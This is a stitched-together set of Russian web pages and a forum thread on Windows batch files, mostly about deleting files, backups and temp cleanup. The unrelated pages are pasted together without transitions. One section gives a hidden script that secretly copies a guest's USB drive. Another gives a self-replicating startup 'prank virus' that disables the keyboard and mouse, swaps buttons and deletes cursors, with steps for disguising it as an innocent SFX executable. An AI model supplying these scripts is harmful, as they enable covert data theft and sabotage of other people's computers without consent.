Как написать батник для удаления файлов


Загрузить PDF


Загрузить PDF

Хотите удалять файлы в папке одним щелчком мыши? Вы разработчик приложений, который хочет сделать так, чтобы его программа могла запросто удалить любой файл? Тогда эта статься для вас. Следуйте шагам, описанным в этой статье, чтобы добиться желаемого.

Прежде чем начать

  1. Откройте диалоговое окно «Выполнить», введите «Explorer» и нажмите Enter. Чтобы открыть диалоговое окно «Выполнить», одновременно нажмите на клавиатуре Win+R.
  2. Нажмите Alt на клавиатуре (окно проводника должно быть активным).
  3. Нажмите на Инструменты > Параметры папок.
  4. Когда на экране появится окно «Параметры папок», перейдите на вкладку «Вид».
  5. Уберите галочку с опции «Скрывать расширения для зарегистрированных типов файлов», если она там стоит.
  6. Нажмите «ОК».

Шаги

  1. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 1

    1

    Откройте Блокнот. Для этого нажмите на меню Пуск > Все программы > Стандартные > Блокнот.

  2. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 2

    2

    Введите в Блокнот «cd» (без кавычек).

  3. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 3

    3

    Найдите папку или файл, который хотите удалить, а затем нажмите на него правой кнопкой мыши и выберите «Свойства».

  4. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 4

    4

    Скопируйте данные из строки «Расположение».

  5. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 5

    5

    Вернитесь в Блокнот, поставьте один пробел после «cd» и вставьте скопированную информацию, заключив ее в кавычки. Например, если вы скопировали «C:ПользователиАдминистратор», тогда в блокноте будет написано «C:ПользователиАдминистратор» (с кавычками).

    • Если вы хотите удалить файлы из какой-то конкретной папки, но файла в ней нет, начните с третьего шага и введите его расположение.
  6. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 6

    6

    Нажмите Enter на клавиатуре, чтобы перейти на другую строку.

  7. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 7

    7

    Введите в новую строку Блокнота «del» (без кавычек).

  8. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 8

    8

    Поставьте пробел и введите название папки или файла с расширением (если оно у него есть), который хотите удалить, заключив его в кавычки. Например, если вы хотите удалить папку «Удали меня», значит, вам необходимо ввести следующее: del «Удали меня». Если вы хотите удалить файл музыка.wav, введите del «музыка.wav».

  9. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 9

    9

    Вверху Блокнота необходимо нажать Файл > Сохранить как.

  10. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 10

    10

    В окне «Сохранение» в строке «Тип файла:» выберите «Все файлы».

  11. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 11

    11

    В поле «Имя файла:» введите «ваше_имя.bat» (без кавычек). Вместо «ваше_имя» введите имя файла.

  12. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 12

    12

    Нажмите «Сохранить».

  13. Изображение с названием Delete a File in Microsoft Windows Using Batch Files Step 13

    13

    Найдите новый файл там, куда вы его сохранили, и дважды по нему щелкните. Если вы все сделали правильно, файл/папка будет удалена.

    • Если появится окно с подтверждением, нажмите Y или Enter на клавиатуре.

    Реклама

Советы

  • В этом методе можно использовать символы. Например, если вы захотите удалить все содержимое папки, замените имя файла символом «*». Если вы хотите удалить в папке все файлы с расширением .txt (текстовый формат), вместо имени файла должно быть написано «*.txt» (без кавычек).
  • Чтобы удалить сразу несколько файлов, повторите вышеупомянутые шаги в том же текстовом документе.

Реклама

Об этой статье

Эту страницу просматривали 2732 раза.

Была ли эта статья полезной?

There’s multiple ways of doing things in batch, so if escaping with a double percent %% isn’t working for you, then you could try something like this:

set olddir=%CD%
cd /d "path of folder"
del "file name/ or *.txt etc..."
cd /d "%olddir%"

How this works:

set olddir=%CD% sets the variable "olddir" or any other variable name you like to the directory
your batch file was launched from.

cd /d "path of folder" changes the current directory the batch will be looking at. keep the
quotations and change path of folder to which ever path you aiming for.

del "file name/ or *.txt etc..." will delete the file in the current directory your batch is looking at, just don’t add a directory path before the file name and just have the full file name or, to delete multiple files with the same extension with *.txt or whatever extension you need.

cd /d "%olddir%" takes the variable saved with your old path and goes back to the directory you started the batch with, its not important if you don’t want the batch going back to its previous directory path, and like stated before the variable name can be changed to whatever you wish by changing the set olddir=%CD% line.

Содержание статьи:

Вместо вступления. Что такое «батник»

Пакетные файлы (batch file) — это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС

На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых батников.

Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Некоторые манипуляции с пакетными файлами могут нанести вред системе (порой даже непоправимый), поэтому предупреждаю сразу, ни автор статьи, ни администрация сайта не несут абсолютно никакой ответственности за последствия, которые может повлечь за собой выполнение действий, представленных в этой статье. Все материалы представлены здесь исключительно с образовательной целью, и для ознакомления. Надеюсь на ваше понимание и прямоту ваших рук….

  • Выше уже упоминалось, что пакетный файлы — это обычные текстовые документы. Так и есть, но для того, чтобы они работали и выполняли свои функции, им нужно придать подобающий вид, т.е. поменять расширение. Вообще в Windows используется как расширение *.bat, так и *.cmd, по сути они отличаются весьма незначительно лишь некоторыми нюансами, поэтому, в целях избежания путаницы, будем говорить о bat-файлах. Т.е. чтобы создать исполняемый пакетный файл, мы открываем стандартный блокнот (либо другой, привычный вам текстовый редактор), вбиваем туда нужные нам команды и сохраняем файл с любым именем и расширением bat;
  • По сути, перечень команд, описанных в пакетном файле (батнике) может быть воспроизведён вручную в командной строке (пуск — все программы — стандартные — командная строка), упаковываем их (команды) мы исключительно для удобства, простоты и моментальности (если позволите) воспроизведения;
  • Если испытываете что-то серьёзное и не уверенны в своих действиях, лучше испытывайте детище к примеру на виртуальной машине (в крайнем случае — на компьютере соседа);
  • Список возможных к использованию команд очень велик, посмотреть его можно, набрав в командной строке help, здесь же будут расшифровываться команды по мере их появления в создаваемых батниках;
  • Все инструкции, приведённые в статье, тестировались на ОС Windows XP и Windows 7.

Часть вторая. Синтаксис при написании bat-файлов

  • Каждая команда вводится с новой строчки;
  • Все команды выполняются последовательно за исключением тех случаев, когда внутри самого батника присутствует переход к определённой его части;
  • Комментарии в пакетный файл могут быть добавлены двумя способами:
    — либо после двух двоеточий ::переход к части копирования — либо при помощи команды goto, т.е. вводится команда goto, потом место для перехода, а между ними сам комментарий

    goto begin
    ----------------------------------------
    Это батник служит для резервного копирования дипломной работы
    ----------------------------------------
    begin
  • Если команду необходимо ввести с атрибутом, то сначала вводим команду, затем пробел, слэш и, собственно, сам ключ copy /Y Чтобы посмотреть список возможных атрибутов к конкретной команде, нужно в командной строке ввести команду, затем пробел, слэш и знак вопроса dir /?
  • Для скрытия окна терминала выполняемой команды можно в начале строки поставить знак собачки @, если же требуется скрыть отображение выполнения всех команд, то проще (чтобы не ставить собачку в каждой строчке) в начале батника указать @echo off здесь команда echo off скрывает окна, а собачка впереди неё запрещает отображение выполнения самой echo off
  • Все директории внутри команд, для исключения возможных ошибок, будем вводить в кавычках;
  • По умолчанию при работе с кириллическим текстом на выходе вы можете получить иероглифы, при работе с папками/файлами, имеющими русские имена, вообще может ничего не получиться, это происходит из-за используемых кодировок, поэтому для исключения подобных неприятностей в начале пакетного файла будем указывать кодировку, корректно работающую с кириллицей следующей командой chcp 1251
  • Есть команды (например, удаление файлов, форматирование), которые могут потребовать подтверждения действий. Порой это бывает очень нежелательно, в таком случае, можно вписать ответ заранее в сам пакетный файл. Ответ записывается ДО! команды и отделяется от неё вертикальной чертой |Y|del
  • В командной строке (а значит и в пакетных файлах) при указании директории иногда бывает удобнее пользоваться переменными, нежели прописывать весь путь cd %APPDATA%

Приступим….

Часть третья. Резервное копирование при помощи батников

Резервное копирование данных — полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.

Автоматическое копирование каталогов в папку backup

Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.).
В этом случае текст будет следующим

@echo off
chcp 1251
xcopy "D:diplom*.*" "E:backupdiplom*.*"

Где D:diplom — папка расположения всех материалов к диплому, а E:backupdiplom — конечная директория резервной копии.
Создаём батник, кидаем его в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид

@echo off
chcp 1251
del "E:backupdiplom_old" /s /q
rmdir "E:backupdiplom_old" /s /q
rename "E:backupdiplom" "diplom_old"
xcopy "D:diplom*.*" "E:backupdiplom*.*"

del удаляет ранее созданную вторую рк.
rmdir переименовывает первую рк во вторую.
xcopy создаёт новую рк.
Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее

@echo off
chcp 1251
xcopy "D:diplom*.*" "E:backupdiplom*.*" /E /F /H /R /K /Y /D

Создание бэкапа в архиве

Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе — это бэкапы в архиве
Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив.
Нам необходимо в автозагрузку положить батник со следующим содержимым

@echo off
chcp 1251
c:PROGRA~1WinRARWinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS "E:backup" "D:diplom"

Архив папки D:diplom будет создаваться в E:backup, именем будет дата и время создания архива, т.е., например 16-Aug-12–14-06-53

Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов

Как создать папку из батника

Начнём с самого простого. Создание папки. Папка создаётся командой MD
Чтобы создать папку с именем backup в корне диска D:, нам необходимо собрать следующего вида пакетный файл

@echo off
chcp 1251
MD "D:backup"

Если же, допустим, нужна каждый день новая папочка с датой на месте имени, то батник будет иметь вид

@echo off
chcp 1251
set datetemp=%date:~-10%
MD "C:%datetemp%"

Здесь строчкой set datetemp=%date:~-10% мы создаём переменную datatemp на время работы батника и присваиваем ей 10 символов значения системной даты;

Как создать текстовый файл из батника

С созданием пустых текстовых файлов дело чуть сложнее. Такой команды просто нет, нужно что-то в этот файл писать. Чтобы выйти из ситуации воспользуемся значением nul (это даже не нулевое значение, а его отсутствие)

@echo off
chcp 1251
copy nul "имя_файла".txt

Также, как и в примере с папкой, можно сделать именем текущую дату

@echo off
chcp 1251
set datetemp=%date:~-10%
copy nul "%datetemp%".txt

Автоматическая очистка папки из батника

Теперь, что касается удаления. Тоже достаточно часто используемая область работы для батников. Так, например, без помощи спец.программ можно при каждом запуске (опять же, поместив пакетный файл в автозагрузку) очищать temp на вашей машине. Содержимое будет следующим

@echo off
chcp 1251
cd C:WindowsTemp
echo Y|del *.*

Строчкой cd «C:WindowsTemp» мы переходим в папку temp
Строкой echo Y|del *.* удаляем содержимое этой папки (не саму папку!)

Часть пятая. Прочие возможности bat-файлов

Возможностей, на самом деле, огромное множество. Здесь для примера рассмотрим некоторые из них.

Одна из самых известных возможностей использования батников — это запись содержимого каталога в файл

@echo off
chcp 1251
dir >file.txt

После выполнения этого файла, в папке, откуда он запускался, будет создан файлик file.txt, содержащий перечень всех файлов и папок в этом каталоге с указанием размера и даты последнего изменения. Можно преобразовать этот файл до вида

@echo off
chcp 1251
dir /S "c:" >"X:file.txt"

/S заставит батник показать содержимое не только каталога, но и всех подкаталогов.
c: поможет отобразить содержимое не того каталога, откуда запускается бат-файл, а нужного нам.
X:file.txt сохранит конечный файл со списком содержимого в указанное нами место;

Запуск файлов из командной строки 

Очень часто полезным оказывается возможность запуска объектов из командной строки (в данном случае уже из бат-файлов). Причем как программ, так и других видов файлов (графических изображений, медиафайлов, текстовых документов и т.п.)
К примеру, если в автозагрузку добавить текстовый документ, то при включении ПК после загрузки системы вы его сразу увидите. Либо откроется плеер и будет проигрывать соответствующий трек. (Подробнее про способы добавления файлов в автозагрузку вы можете прочитать в статье: Автозагрузка. Добавление приложений в автозагрузку Windows)
Для того, чтобы это реализовать, нужно просто в теле бат-файла прописать точный путь до необходимого объекта. Например

@echo off
chcp 1251
"c:Документынапоминание.doc"

Для системных же программ нужно указать лишь её обозначение.

@echo off
chcp 1251
calc

При выполнении этого батника откроется калькулятор. В данном случае строчку chcp 1251 можно опустить (как и в некоторых ситуациях из примеров выше), однако если уж стандартизировать все наши пакетный файлы, то её можно и оставить, вреда не будет.

Часть шестая. Хитрости или шутки в сторону

Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и «голыми руками»), но если делать всё с умом, то может выйти достаточно интересно.

Шпионские штучки. Похищаем содержимое флешки

В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить «красную карточку». Что мы в таком случае делаем? Создаём батник следующего содержания

@echo off
:test
if exist g: goto go
goto test
:go
xcopy "G:*.*" "C:упс*.*"

Создаём на этот бат-файл ярлычок, в свойствах ярлыка указываем, чтобы файл запускался в свёрнутом состоянии. Дважды кликаем по ярлыку. Что имеем.
:test обозначает начало действия батника
if exist g: goto go проверяет наличие в компьютере диска G:, если он есть, то переходим к части :go (суть в том, что обычно вставленная флешка получает для обозначения первую свободную в системе букву латинского алфавита, проследить это на своём компе не так уж сложно. Вот именно эту буковку мы и указываем вместо G:)
goto test если диск G: не был найден, возвращаемся к началу части :test
:go обозначает начало действия второй части батника
xcopy «G:*.*» «C:упс*.*» копирует всё содержимое диска G: в папку упс на диске C:
Т.е. после того, как мы запустили файл с ярлыка, он запускается в свёрнутом состоянии и циклически проверяет наличие флешки в ПК. Как только флешка там засветится, начнётся копирование всех данных с неё в указанную папку, причем привычного окна копирования файлов не выскочит, всё будет отображаться в свёрнутом окне терминала.Ну, всё что было описанно выше, полезно на своём компе, однако есть несколько плюшек, с помощью которых можно подшутить над другом/подругой….

Маленький вирус в автозагрузку

В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее

copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка
copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup

Первая строка добавляет файл в автозагрузку для всех пользователей на Windows XP (для конкретного пользователя в качестве пути указываем %USERPROFILE%»Главное меню»ПрограммыАвтозагрузка)
Вторая строка добавляет файл в автозагрузку для Windows 7.

Начало обеих строк в виде copy %0 означает копирование «самого себя».
Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, «ТЫ ЛАМЕР!»
Для этого добавляем следующее

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.jse
start %temp%mes.jse
deltree /y %temp%mes.jse

Однако, и первый вариант будет работать.

Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени

msg * "ТЫ ЛАМЕР!" >nul

Едем дальше, ближе к вкусностям.
Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — строка меняет кнопки мыши местами. Весьма забавная штуковина, однако если человечек не отличается уровновешенной психикой, от этого советую отказаться. Чтобы поменять кнопки мыши обратно, заходи в панели управления в пункт мышь и там инвертируем галочку в поле обменять назначение кнопок….

Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.

rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.

rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.

rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.

Ну и del «%SystemRoot%Cursors*.*» >nul удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)

Теперь остаётся только скомпоновать желаемые строки в единый код

@echo off
chcp 1251
rundll32 keyboard, disable
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка
copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup
rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > 
%temp%mes.js 
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js 
start %temp%mes.js 
deltree /y %temp%mes.js

Часть седьмая. Упаковка исполнительного файла

Здесь хочу отметить, что мало кто станет запускать ваш батник хотя бы потому, что он имеет немного подозрительный вид. Исправить это можно двумя способами:

Программный способ упаковки батников

    • конвертировать bat-файл в *.exe при помощи какой-нибудь утилитки (например, bat to exe)
    • создать sfx-архив.

Упаковка батников в SFX-архив

Второй вариант в рамках данной статьи чуток подробнее и рассмотрим.
— Для начала нам надо установить на ПК подходящий архиватор (для этих целей я рекомендую WinRAR, т.к. создание sfx-архивов в нём реализовано наиболее удобно и просто).
— Создаём нужный нам пакетный файл (батник).
— Кликаем правой кнопочкой по батнику, выбираем из контекстного меню WinRAR => Добавить в архив (дальше по вкладкам)
Общие. Имя любое. Формат — RAR. Метод сжатия обычный. В параметрах архивации ставим галочку напротив Создать SFX-архив.
Дополнительно. Жмём на кнопочку Параметры SFX… Вкладочка «Общие», выполнить после распаковки — вписываем имя архивируемого батника с расширением. Во вкладке «Режимы» в разделе «Режим вывода информации» ставим галочку напротив «Скрыть всё». На вкладочке «Текст и графика» можно, например, добавить симпатичную иконку вашему архиву вместо стандартной. Если вы не художник, то иконку можно вытащить из любой программы/игры при помощи стороннего софта, например Restorator.
— На этом всё. Остальные опции на ваше усмотрение. Жмём кнопочку ОК. В исходной папке с батником появится ещё и наш новый sfx-архив.
— Чтобы добавить солидность файлу, позволить ему прибавить в весе, можно в архив «напихать» ещё что-нибудь, это может быть что угодно, т.к. цель — только увеличение размера.
— В архиве может быть сколько угодно батников, при создании архива мы указываем, что выполнять нужно первый (прописываем его имя с расширением), чтобы после этого выполнился следующий, в конце (либо в нужном нам месте) пишем

call sled.bat

Т.е. когда дело дойдёт до этой команды, система переключится на исполнение файла с названием sled.bat, а затем вернётся к исходному.
Если же надо, чтобы работа первого батника не прерывалась, то используем другую команду

start sled.bat

Вместо заключения

Стоит отметить, что кроме вышеперечисленных функций при помощи батников можно также редактировать и системный реестр, об этом наша отдельная публикация: Редактирование реестра Windows из командной строки, bat-файлы. Остаётся только напомнить, что вообще команд огромное количество, а вариантов их сочетаний и вовсе — бесконечное множество. Любую команду можно сначала проверить в командной строке, а только потом добавлять в тело пакетного файла….

Будьте осторожны и удачных вам экспериментов

Как автоматизировать удаление файлов по типу bat файлом

Как автоматизировать удаление файлов по типу bat файлом

Чтобы очистить диск от временных файлов можно использовать команду

del /f /s /q C:*.tmp

Где

/f — удаляет все файлы, даже если у них установлен атрибут только чтение

/s — удаляет файлы из всех подкаталогов

/q — отключает запрос на подтверждение удаления файла

C: — диск, на котором будут найдены и удалены файлы. Можно указать не весь диск, а папку, например, C:UsersAdministratorDesktop

*.tmp — тип файлов, которые будут удалены

Нужно быть аккуратным с ключем /q и типами файлов которые хотите удалить. Команда удаляет, не спрашивая разрешения и в случае указания неправильного типа файлов может удалить лишнее.

Как удалить файлы и пустые папки в директории bat файлом

Для удаления пустых папок и файлов расположенных в необходимой директории используйте команду:

@RD /S /Q C:Users%Username%Downloads

При выполнении этого bat файла удаляются все папки и файлы из директории «Downloads» 

Как очистить содержимое папки bat файлом, bat файл для очистки файлов из папок

Для удаления содержимого папки необходимо создать bat файл с текстом

del /S /Q C:UsersAdministratorВаша папка* .* 

TIMEOUT /T 5 /NOBREAK

exit

Как принудительно закрыть программу

Необходимо выполнить закрытие программы после ее работы в автоматическом режиме 

для реализации создаем bat файл, в нем пишем — 

Taskkill/IM chrome.exe/F

Где /F используется для принудительного завершения процесса

В данном случае при запуске такого bat файла будет закрыт Chrome

Как подключиться к RDP батником

Иногда есть необходимость настроить быстрое подключение пользователям через bat файл, ниже рабочая версия

cmdkey /generic:TERMSRV/»ваш сервак» /user:»логин» /pass:»пароль»

mstsc /v:»ваш сервак»

cmdkey /delete:TERMSRV/»ваш сервак»

Как очистить корзину bat файлом, удаление файла из корзины файлом bat

Для удаления файлов и папок из корзины необходимо создать bat файл с текстом

del /q /s %systemdrive%$Recycle.bin*

for /d %%x in (%systemdrive%$Recycle.bin*) do @rd /s /q «%%x»

В приложении рабочая версия bat файла

  • Recycle_clean.bat


Windows, Windows 10, Windows 7, Windows 8, Windows Server, Windows Vista, Windows XP

  • 14.11.2020
  • 9 888
  • 3
  • 27
  • 26
  • 1

Как удалить файлы определенного типа из командной строки или bat-файла

  • Содержание статьи
    • Описание
    • Комментарии к статье ( 3 шт )
    • Добавить комментарий

Описание

Очень часто возникает необходимость удалить все файлы с определенным расширением в каком-либо каталоге (или в каталоге и во всех его подкаталогах). Например, если мы хотим удалить все текстовые файлы с расширением *.txt в папке (и всех ее подпапках) C:texts, то можно выполнить следующую команду:

del /f /s /q C:texts*.txt

Где
/f — удаляет все файлы, даже если у них установлен атрибут только чтение
/s — удаляет файлы из всех подкаталогов (если это не требуется, то данный ключ нужно убрать)
/q — отключает запрос на подтверждение удаления файла
C:texts — каталог, в котором будут найдены и удалены все файлы. Вместо определенной папки, можно указать весь диск целиком, тогда выглядеть это будет так: C:*.txt
*.txt — тип файлов (расширение), которые будут удалены

Будьте аккуратны с ключем /q и типами удаляемых файлов. Команда удаляет, не спрашивая разрешения и при указании неправильного типа файлов может удалить лишнего.

zaq1993

3 / 3 / 0

Регистрация: 10.11.2012

Сообщений: 65

1

Удаление файлов из папки

09.05.2013, 11:24. Показов 65730. Ответов 16

Метки нет (Все метки)


Помогите пожалуйста, вот написал батник для удаление всех файлов из указанной папки

Bash
1
2
del "%USERPROFILE%AppDataLocalTemp*.*"
del "C:WindowsTemp*.*"

И вот что выходит при запуске, как можно сделать чтобы батник по дефолту соглашался со всем, чтобы пользователю не нужно было жать ничего, чтобы запустил и все, Спасибо.

[

cut]

__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь



0



Eva Rosalene

Pure Free Digital Ghost

4601 / 1913 / 371

Регистрация: 06.01.2013

Сообщений: 4,565

09.05.2013, 12:03

2

Bash
1
del /F /Q "C:WindowsTemp*"



1



3 / 3 / 0

Регистрация: 10.11.2012

Сообщений: 65

09.05.2013, 12:17

 [ТС]

3

Спасибо, буду побывать.

Добавлено через 8 минут
Ох, а как сделать чтобы он папки тоже стирал, а то только файлы, а папки не трогает



0



Eva Rosalene

Pure Free Digital Ghost

4601 / 1913 / 371

Регистрация: 06.01.2013

Сообщений: 4,565

09.05.2013, 12:58

4

Цитата
Сообщение от zaq1993
Посмотреть сообщение

Ох, а как сделать чтобы он папки тоже стирал, а то только файлы, а папки не трогает

Специал фор папки

Bash
1
for /f "usebackq delims=*" %%A IN (`dir "C:WindowsTemp" /b /a:d`) DO (rd /s /q "%%A")

Только пробуй с осторожностью, поскольку если я где-то ошибся…



0



Dragokas

Эксперт WindowsАвтор FAQ

17966 / 7604 / 889

Регистрация: 25.12.2011

Сообщений: 11,339

Записей в блоге: 17

09.05.2013, 18:17

5

Вариант:

Bash
1
2
3
4
5
@echo off
cd /d "%temp%"
rd /s /q "%temp%"
cd /d "%windir%temp"
rd /s /q "%windir%temp"



0



Kиpилл

Особый статус

Эксперт WindowsВирусоборец

8425 / 1704 / 87

Регистрация: 15.04.2011

Сообщений: 5,515

10.05.2013, 10:25

6

Bash
1
2
3
4
5
@echo off
attrib -r -a -s -h %temp% /s /d 
del /s /q %temp%*.*
attrib -r -a -s -h %tmp% /s /d 
del /s /q %tmp%*.*

Dragokas, rd вроде каталоги удаляет?



0



Eva Rosalene

Pure Free Digital Ghost

4601 / 1913 / 371

Регистрация: 06.01.2013

Сообщений: 4,565

10.05.2013, 14:53

7

Цитата
Сообщение от Koza Nozdri
Посмотреть сообщение

rd вроде каталоги удаляет?

ога, rmdir

Добавлено через 1 минуту

Цитата
Сообщение от Dragokas
Посмотреть сообщение

Bash
1
2
3
4
5
@echo off
cd /d "%temp%"
rd /s /q "%temp%"
cd /d "%windir%temp"
rd /s /q "%windir%temp"

А зачем cd?



0



Особый статус

Эксперт WindowsВирусоборец

8425 / 1704 / 87

Регистрация: 15.04.2011

Сообщений: 5,515

10.05.2013, 15:23

8

FraidZZ, дык я наверно туплю…%temp% тоже удалится?



0



Pure Free Digital Ghost

4601 / 1913 / 371

Регистрация: 06.01.2013

Сообщений: 4,565

10.05.2013, 16:28

9

Цитата
Сообщение от Koza Nozdri
Посмотреть сообщение

%temp% тоже удалится?

В чьем коде? В моем — нет.
В коде Dragokas‘a — да.



0



Особый статус

Эксперт WindowsВирусоборец

8425 / 1704 / 87

Регистрация: 15.04.2011

Сообщений: 5,515

10.05.2013, 17:35

10

FraidZZ, да ,я про его код.



0



Dragokas

Эксперт WindowsАвтор FAQ

17966 / 7604 / 889

Регистрация: 25.12.2011

Сообщений: 11,339

Записей в блоге: 17

10.05.2013, 19:36

11

Цитата
Сообщение от Koza Nozdri
Посмотреть сообщение

Dragokas, rd вроде каталоги удаляет?

Да. ТС спрашивал:

Цитата
Сообщение от zaq1993
Посмотреть сообщение

как сделать чтобы он папки тоже стирал


Цитата
Сообщение от Koza Nozdri
Посмотреть сообщение

%temp% тоже удалится?

Нет. Старая надежная фишка.
Комментарии:

Bash
1
2
3
4
5
6
7
8
9
10
@echo off
:: Заблокировать каталог
cd /d "%temp%"
:: Удалить каталог temp со всем содержимым.
:: rd удалит все папки и файлы внутри temp, после чего выбьет ошибку,
:: т.к. не сможет удалить сам корневой каталог даже с админ. правами
rd /s /q "%temp%"
:: Аналогично для temp в папке Windows-а
cd /d "%windir%temp"
rd /s /q "%windir%temp"



1



Особый статус

Эксперт WindowsВирусоборец

8425 / 1704 / 87

Регистрация: 15.04.2011

Сообщений: 5,515

10.05.2013, 20:17

12

Dragokas, ясно.
Ну я тоже правильно написал скрипт.



0



Dragokas

Эксперт WindowsАвтор FAQ

17966 / 7604 / 889

Регистрация: 25.12.2011

Сообщений: 11,339

Записей в блоге: 17

10.05.2013, 21:52

13

Koza Nozdri, можно было обойтись одной командой:

Bash
1
del /F /S /Q /A "%temp%*.*"

%temp% и %tmp% разве не одно и тоже?



0



Pure Free Digital Ghost

4601 / 1913 / 371

Регистрация: 06.01.2013

Сообщений: 4,565

10.05.2013, 22:25

14

Цитата
Сообщение от Dragokas
Посмотреть сообщение

%temp% и %tmp% разве не одно и тоже?

Одно.



0



Особый статус

Эксперт WindowsВирусоборец

8425 / 1704 / 87

Регистрация: 15.04.2011

Сообщений: 5,515

10.05.2013, 23:09

15

Да одно,я и забыл что обе команды оставил.



0



Kawa_Cykan

Заблокирован

09.01.2017, 12:02

16

а для чего очищать временные папки?



0



4330 / 2120 / 661

Регистрация: 26.04.2015

Сообщений: 6,823

10.01.2017, 01:51

17

Цитата
Сообщение от Kawa_Cykan
Посмотреть сообщение

а для чего очищать временные папки?

чтобы багажник не отвалился когда-нибудь.



0



Как и в реальной жизни, на нашем компьютере мы также можем разработать своего рода цифровой синдром Диогена и бесконтрольно накапливают мусор. Даже если мы не из тех, кто любит накапливать файлы и папки и вообще ничего не удалять, легко, что мы вынуждены делать некоторую очистку.

Как массово удалить файлы в Windows

Либо потому что мы все организовано и что мы можем найти нужный документ быстрее, или потому что мы нужно больше свободного места на жестком диске, интересно узнать, как сделать массовую очистку элементов в Windows.

